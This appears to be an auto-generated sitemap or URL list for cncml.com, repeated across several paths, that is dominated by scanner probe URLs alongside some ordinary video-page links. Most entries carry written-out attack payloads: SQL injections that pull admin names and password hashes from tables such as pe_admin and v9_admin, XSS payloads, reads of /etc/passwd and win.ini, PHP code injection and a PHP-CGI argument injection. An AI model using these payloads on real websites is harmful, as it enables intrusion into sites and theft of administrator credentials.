http://www.cncml.com/ 1.0000 http://www.cncml.com/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,100,114,108,58),(SELECT%20(CASE%20WHEN%20(4037=4037)%20THEN%201%20ELSE%200%20END)),CHAR(58,122,103,111,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)%20AND%20(9909=9909 0.0001 http://www.cncml.com/?/people/360webscan?notification_id-360webscan' 0.0001 http://www.cncml.com/?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20(1=1 0.0001 http://www.cncml.com/?/s_tag/hehe%25%27%20union%20select%201,2,3,md5(1122),5,6,7%20from%20go_admin%23 0.0001 http://www.cncml.com/?100 0.0003 http://www.cncml.com/?87 0.0001 http://www.cncml.com/?93 0.0001 http://www.cncml.com/?__runfile0123456789=/etc/passwd 0.0001 http://www.cncml.com/?__runfile0123456789=c:%5Cwindows%5Cwin.ini 0.0001 http://www.cncml.com/?action=course&do=-1%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23&&todo=list 0.0001 http://www.cncml.com/?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version(),1,1))=53%20as%20signed) 0.0001 http://www.cncml.com/?app=widget&mod=feedlist&act=getdata&maxId=111&act=loadNew&templateCacheFile=C:%5CWindows%5Cwin.ini 0.0001 http://www.cncml.com/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20'--grid.html 0.0001 http://www.cncml.com/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a 0.0001 http://www.cncml.com/?m=info.detail&id=1-webscan 0.0001 http://www.cncml.com/?m=offer&s=offer_list&id=1-webscan%23 0.0001 http://www.cncml.com/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23 0.0001 http://www.cncml.com/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23 0.0001 http://www.cncml.com/?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00 0.0001 http://www.cncml.com/?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23 0.0001 http://www.cncml.com/?mod=wap&code=coupon_input&msgcode=ops-success&last%5B%5D==1%20union%20/*!select*/%201,1,1,1,1,1,1,1234567890,1%20from%20cenwor_system_members 0.0001 http://www.cncml.com/?overview 0.0001 http://www.cncml.com/?plugins&area=&class=u_sel&name=work_&q=areas&type=p,c&value=1/**/and/**/extractvalue(1,concat(0x5c,md5(1122)));-- 0.0001 http://www.cncml.com/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%20-index.html 0.0001 http://www.cncml.com/?question/search/%27%75nion%20select%201,2,3,4,5,6,7,8,md5(1122),10,11,12,13,14,15,16,17,18,19,20%23 0.0001 http://www.cncml.com/?question/search/tag:0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/?question/tag/0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ 0.0001 http://www.cncml.com/?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D 0.0001 http://www.cncml.com/?s=vod-play-id-10786-sid-0-pid-21.html 0.0001 http://www.cncml.com/?s=vod-play-id-1280-sid-0-pid-14.html 0.0001 http://www.cncml.com/?s=vod-play-id-1280-sid-0-pid-188.html 0.0001 http://www.cncml.com/?s=vod-play-id-1280-sid-0-pid-272.html 0.0001 http://www.cncml.com/?s=vod-play-id-15152-sid-0-pid-4.html 0.0001 http://www.cncml.com/?s=vod-play-id-15188-sid-0-pid-7.html 0.0001 http://www.cncml.com/?s=vod-play-id-17887-sid-0-pid-28.html 0.0001 http://www.cncml.com/?s=vod-play-id-17887-sid-0-pid-30.html 0.0001 http://www.cncml.com/?s=vod-play-id-21642-sid-0-pid-114.html 0.0001 http://www.cncml.com/?s=vod-play-id-21646-sid-0-pid-5.html 0.0001 http://www.cncml.com/?s=vod-play-id-21654-sid-0-pid-38.html 0.0001 http://www.cncml.com/?s=vod-play-id-21654-sid-0-pid-66.html 0.0001 http://www.cncml.com/?s=vod-play-id-21657-sid-0-pid-108.html 0.0001 http://www.cncml.com/?s=vod-play-id-21665-sid-0-pid-86.html 0.0001 http://www.cncml.com/?s=vod-play-id-21665-sid-0-pid-88.html 0.0001 http://www.cncml.com/?s=vod-play-id-21665-sid-0-pid-91.html 0.0001 http://www.cncml.com/?s=vod-play-id-21665-sid-0-pid-92.html 0.0001 http://www.cncml.com/?s=vod-play-id-21665-sid-0-pid-94.html 0.0001 http://www.cncml.com/?s=vod-play-id-21682-sid-0-pid-185.html 0.0001 http://www.cncml.com/?s=vod-play-id-21703-sid-0-pid-36.html 0.0001 http://www.cncml.com/?s=vod-play-id-21749-sid-0-pid-11.html 0.0001 http://www.cncml.com/?s=vod-play-id-24424-sid-0-pid-94.html 0.0001 http://www.cncml.com/?s=vod-play-id-24440-sid-0-pid-8.html 0.0001 http://www.cncml.com/?s=vod-play-id-24569-sid-0-pid-30.html 0.0001 http://www.cncml.com/?s=vod-play-id-24569-sid-0-pid-31.html 0.0001 http://www.cncml.com/?s=vod-play-id-24608-sid-0-pid-15.html 0.0001 http://www.cncml.com/?s=vod-play-id-24608-sid-1-pid-8.html 0.0001 http://www.cncml.com/?s=vod-play-id-24608-sid-1-pid-9.html 0.0001 http://www.cncml.com/?s=vod-play-id-24649-sid-1-pid-57.html 0.0001 http://www.cncml.com/?s=vod-play-id-24667-sid-0-pid-16.html 0.0001 http://www.cncml.com/?s=vod-play-id-24846-sid-0-pid-35.html 0.0001 http://www.cncml.com/?s=vod-play-id-24846-sid-0-pid-38.html 0.0001 http://www.cncml.com/?s=vod-play-id-24846-sid-0-pid-45.html 0.0001 http://www.cncml.com/?s=vod-play-id-24846-sid-0-pid-47.html 0.0001 http://www.cncml.com/?s=vod-play-id-24868-sid-0-pid-24.html 0.0001 http://www.cncml.com/?s=vod-play-id-24868-sid-0-pid-28.html 0.0001 http://www.cncml.com/?s=vod-play-id-24868-sid-0-pid-31.html 0.0001 http://www.cncml.com/?s=vod-play-id-24868-sid-0-pid-35.html 0.0001 http://www.cncml.com/?s=vod-play-id-24999-sid-1-pid-26.html 0.0001 http://www.cncml.com/?s=vod-play-id-25001-sid-0-pid-27.html 0.0001 http://www.cncml.com/?s=vod-play-id-25001-sid-0-pid-28.html 0.0001 http://www.cncml.com/?s=vod-play-id-25001-sid-0-pid-29.html 0.0001 http://www.cncml.com/?s=vod-play-id-25001-sid-0-pid-30.html 0.0001 http://www.cncml.com/?s=vod-play-id-25001-sid-0-pid-31.html 0.0001 http://www.cncml.com/?s=vod-play-id-25001-sid-0-pid-32.html 0.0001 http://www.cncml.com/?s=vod-play-id-25027-sid-0-pid-11.html 0.0001 http://www.cncml.com/?s=vod-play-id-25257-sid-0-pid-5.html 0.0001 http://www.cncml.com/?s=vod-play-id-25295-sid-0-pid-4.html 0.0001 http://www.cncml.com/?s=vod-play-id-25295-sid-0-pid-5.html 0.0001 http://www.cncml.com/?s=vod-play-id-25318-sid-0-pid-2.html 0.0001 http://www.cncml.com/?s=vod-play-id-25318-sid-0-pid-5.html 0.0001 http://www.cncml.com/?s=vod-play-id-25974-sid-0-pid-10.html 0.0001 http://www.cncml.com/?s=vod-play-id-26143-sid-0-pid-20.html 0.0001 http://www.cncml.com/?s=vod-play-id-26324-sid-0-pid-4.html 0.0001 http://www.cncml.com/?s=vod-play-id-2954-sid-0-pid-3.html 0.0001 http://www.cncml.com/?s=vod-play-id-2954-sid-0-pid-6.html 0.0001 http://www.cncml.com/?s=vod-play-id-31640-sid-0-pid-1.html 0.0001 http://www.cncml.com/?s=vod-play-id-6928-sid-0-pid-3.html 0.0001 http://www.cncml.com/?s=vod-play-id-81-sid-0-pid-35.html 0.0001 http://www.cncml.com/?s=vod-play-id-81-sid-0-pid-36.html 0.0001 http://www.cncml.com/?s=vod-play-id-9475-sid-0-pid-16.html 0.0001 http://www.cncml.com/?s=vod-read-id-13578.html 0.0001 http://www.cncml.com/?s=vod-read-id-2473.html 0.0001 http://www.cncml.com/?s=vod-read-id-25600.html 0.0001 http://www.cncml.com/?s=vod-read-id-31657.html 0.0001 http://www.cncml.com/?s=vod-read-id-6928.html 0.0001 http://www.cncml.com/?s=vod-search-actor-%E6%9D%9C%E6%B1%B6%E6%B3%BD.html 0.0001 http://www.cncml.com/?search=just_test_not_find_href 0.0001 http://www.cncml.com/?svod-search-year-1993.html 0.0001 http://www.cncml.com/?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1('360webscan'),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/?user&q=login&&q=check_email&email=test@sec.org%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/?user&q=login&&q=check_username&username=only_test%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/?user-getpass-1' 0.0001 http://www.cncml.com/?user-space-1' 0.0001 http://www.cncml.com/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/Goods-showcate-id-1.html'cfreer 0.0001 http://www.cncml.com/admin.php 0.0005 http://www.cncml.com/admin.php?action=announce 0.0001 http://www.cncml.com/admin.php?action=index 0.0001 http://www.cncml.com/admin.php?action=misc&operation=link 0.0001 http://www.cncml.com/admin.php?c=ajax&f=exit&filename=opt&group_id=1%20union%20select%203,1,0,md5(1122),account,6%20from%20qinggan_adm%20where%20id%20like%201%23&identifier=1 0.0001 http://www.cncml.com/admin.php?c=js&f=index&ext=../config.php 0.0001 http://www.cncml.com/admin.php?mod=db&act=login 0.0001 http://www.cncml.com/admin_blog/ 0.0005 http://www.cncml.com/admin_blog/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/admin_blog/?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,100,114,108,58),(SELECT%20(CASE%20WHEN%20(4037=4037)%20THEN%201%20ELSE%200%20END)),CHAR(58,122,103,111,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)%20AND%20(9909=9909 0.0001 http://www.cncml.com/admin_blog/?/people/360webscan?notification_id-360webscan' 0.0001 http://www.cncml.com/admin_blog/?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20(1=1 0.0001 http://www.cncml.com/admin_blog/?/s_tag/hehe%25%27%20union%20select%201,2,3,md5(1122),5,6,7%20from%20go_admin%23 0.0001 http://www.cncml.com/admin_blog/?__runfile0123456789=/etc/passwd 0.0001 http://www.cncml.com/admin_blog/?__runfile0123456789=c:%5Cwindows%5Cwin.ini 0.0001 http://www.cncml.com/admin_blog/?action=course&do=-1%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23&&todo=list 0.0001 http://www.cncml.com/admin_blog/?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version(),1,1))=53%20as%20signed) 0.0001 http://www.cncml.com/admin_blog/?app=widget&mod=feedlist&act=getdata&maxId=111&act=loadNew&templateCacheFile=C:%5CWindows%5Cwin.ini 0.0001 http://www.cncml.com/admin_blog/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/admin_blog/?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20'--grid.html 0.0001 http://www.cncml.com/admin_blog/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/admin_blog/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a 0.0001 http://www.cncml.com/admin_blog/?m=info.detail&id=1-webscan 0.0001 http://www.cncml.com/admin_blog/?m=offer&s=offer_list&id=1-webscan%23 0.0001 http://www.cncml.com/admin_blog/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23 0.0001 http://www.cncml.com/admin_blog/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23 0.0001 http://www.cncml.com/admin_blog/?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23 0.0001 http://www.cncml.com/admin_blog/?mod=wap&code=coupon_input&msgcode=ops-success&last%5B%5D==1%20union%20/*!select*/%201,1,1,1,1,1,1,1234567890,1%20from%20cenwor_system_members 0.0001 http://www.cncml.com/admin_blog/?overview 0.0001 http://www.cncml.com/admin_blog/?plugins&area=&class=u_sel&name=work_&q=areas&type=p,c&value=1/**/and/**/extractvalue(1,concat(0x5c,md5(1122)));-- 0.0001 http://www.cncml.com/admin_blog/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/admin_blog/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/admin_blog/?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%20-index.html 0.0001 http://www.cncml.com/admin_blog/?question/search/%27%75nion%20select%201,2,3,4,5,6,7,8,md5(1122),10,11,12,13,14,15,16,17,18,19,20%23 0.0001 http://www.cncml.com/admin_blog/?question/search/tag:0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/admin_blog/?question/tag/0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/admin_blog/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ 0.0001 http://www.cncml.com/admin_blog/?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D 0.0001 http://www.cncml.com/admin_blog/?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1('360webscan'),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/admin_blog/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/admin_blog/?user&q=login&&q=check_email&email=test@sec.org%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/admin_blog/?user&q=login&&q=check_username&username=only_test%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/admin_blog/?user-getpass-1' 0.0001 http://www.cncml.com/admin_blog/?user-space-1' 0.0001 http://www.cncml.com/admin_blog/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/admin_blog/admin_s/ 0.0005 http://www.cncml.com/admin_blog/admin_s/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/admin_blog/admin_s/?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,100,114,108,58),(SELECT%20(CASE%20WHEN%20(4037=4037)%20THEN%201%20ELSE%200%20END)),CHAR(58,122,103,111,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)%20AND%20(9909=9909 0.0001 http://www.cncml.com/admin_blog/admin_s/?/people/360webscan?notification_id-360webscan' 0.0001 http://www.cncml.com/admin_blog/admin_s/?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20(1=1 0.0001 http://www.cncml.com/admin_blog/admin_s/?/s_tag/hehe%25%27%20union%20select%201,2,3,md5(1122),5,6,7%20from%20go_admin%23 0.0001 http://www.cncml.com/admin_blog/admin_s/?__runfile0123456789=/etc/passwd 0.0001 http://www.cncml.com/admin_blog/admin_s/?__runfile0123456789=c:%5Cwindows%5Cwin.ini 0.0001 http://www.cncml.com/admin_blog/admin_s/?action=course&do=-1%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23&&todo=list 0.0001 http://www.cncml.com/admin_blog/admin_s/?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version(),1,1))=53%20as%20signed) 0.0001 http://www.cncml.com/admin_blog/admin_s/?app=widget&mod=feedlist&act=getdata&maxId=111&act=loadNew&templateCacheFile=C:%5CWindows%5Cwin.ini 0.0001 http://www.cncml.com/admin_blog/admin_s/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/admin_blog/admin_s/?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20'--grid.html 0.0001 http://www.cncml.com/admin_blog/admin_s/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/admin_blog/admin_s/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a 0.0001 http://www.cncml.com/admin_blog/admin_s/?m=info.detail&id=1-webscan 0.0001 http://www.cncml.com/admin_blog/admin_s/?m=offer&s=offer_list&id=1-webscan%23 0.0001 http://www.cncml.com/admin_blog/admin_s/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23 0.0001 http://www.cncml.com/admin_blog/admin_s/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23 0.0001 http://www.cncml.com/admin_blog/admin_s/?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/admin_s/?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23 0.0001 http://www.cncml.com/admin_blog/admin_s/?mod=wap&code=coupon_input&msgcode=ops-success&last%5B%5D==1%20union%20/*!select*/%201,1,1,1,1,1,1,1234567890,1%20from%20cenwor_system_members 0.0001 http://www.cncml.com/admin_blog/admin_s/?overview 0.0001 http://www.cncml.com/admin_blog/admin_s/?plugins&area=&class=u_sel&name=work_&q=areas&type=p,c&value=1/**/and/**/extractvalue(1,concat(0x5c,md5(1122)));-- 0.0001 http://www.cncml.com/admin_blog/admin_s/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/admin_blog/admin_s/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/admin_blog/admin_s/?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%20-index.html 0.0001 http://www.cncml.com/admin_blog/admin_s/?question/search/%27%75nion%20select%201,2,3,4,5,6,7,8,md5(1122),10,11,12,13,14,15,16,17,18,19,20%23 0.0001 http://www.cncml.com/admin_blog/admin_s/?question/search/tag:0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/admin_blog/admin_s/?question/tag/0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/admin_blog/admin_s/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ 0.0001 http://www.cncml.com/admin_blog/admin_s/?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D 0.0001 http://www.cncml.com/admin_blog/admin_s/?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1('360webscan'),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/admin_blog/admin_s/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/admin_blog/admin_s/?user&q=login&&q=check_email&email=test@sec.org%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/admin_blog/admin_s/?user&q=login&&q=check_username&username=only_test%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/admin_blog/admin_s/?user-getpass-1' 0.0001 http://www.cncml.com/admin_blog/admin_s/?user-space-1' 0.0001 http://www.cncml.com/admin_blog/admin_s/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php/*123*/'union/**/select/**/1,2,3,4,5,6,7,8,md5(1122),10,11#&action=getatlbyid 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php/?Itemid=11&option=com_search&searchword=%f6%22%20onmouseover%3dprompt(3312)%20//&task=search 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php/Index/index/name/$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php/Site/article/id/-5724)+UNION+ALL+SELECT+11,11,11,0x63656461723A66696E643A696969696969,11,11,11,11,11,11,11,11,11#.html 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php/Site/listTpl/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php/Site/page/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php/abc-abc-abc-$%7B@exit(md5(118741911))%7D/ 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php/cms/item-comment?callback=jsonp1380096883458'%22()%26%25%3Cscript%3Eprompt(42873)%3C/script%3E&iid=114&page=1&view_page=1&_=1380096883791&_ajax_request= 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php/product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(0x7c,admin_name,0x7c,admin_pw,0x7c,sha1(0x3336307765627363616e))+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19%20and+'1'='1 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php/weblinks-categories?id=just_test 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?-dauto_prepend_file%3d/etc/passwd+-n 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?_COOKIE%5Bcfg%5D%5Bdatabase%5D=mysql&_COOKIE%5Bcfg%5D%5Bdb_host%5D=localhost&_COOKIE%5Bcfg%5D%5Bdb_user%5D=webscan&_COOKIE%5Bcfg%5D%5Bdb_pass%5D=reer&_COOKIE%5Bcfg%5D%5Bdb_name%5D=db 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.username+as+char))),0x27,0x7e)+from+%60phpcmsv9%60.v9_admin+Order+by+userid+limit+0,1)+)+from+%60information_schema%60.tables+limit+0,1),floor(rand(0)*2))x+from+%60information_schema%60.tables+group+by+x)a)+and+'1'%3D'1 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%20onmouonmouseoverseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%22%20onmouseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%20onmoonmouseoveruseover=alert(42873)%20y=&zone=3363 0.0001 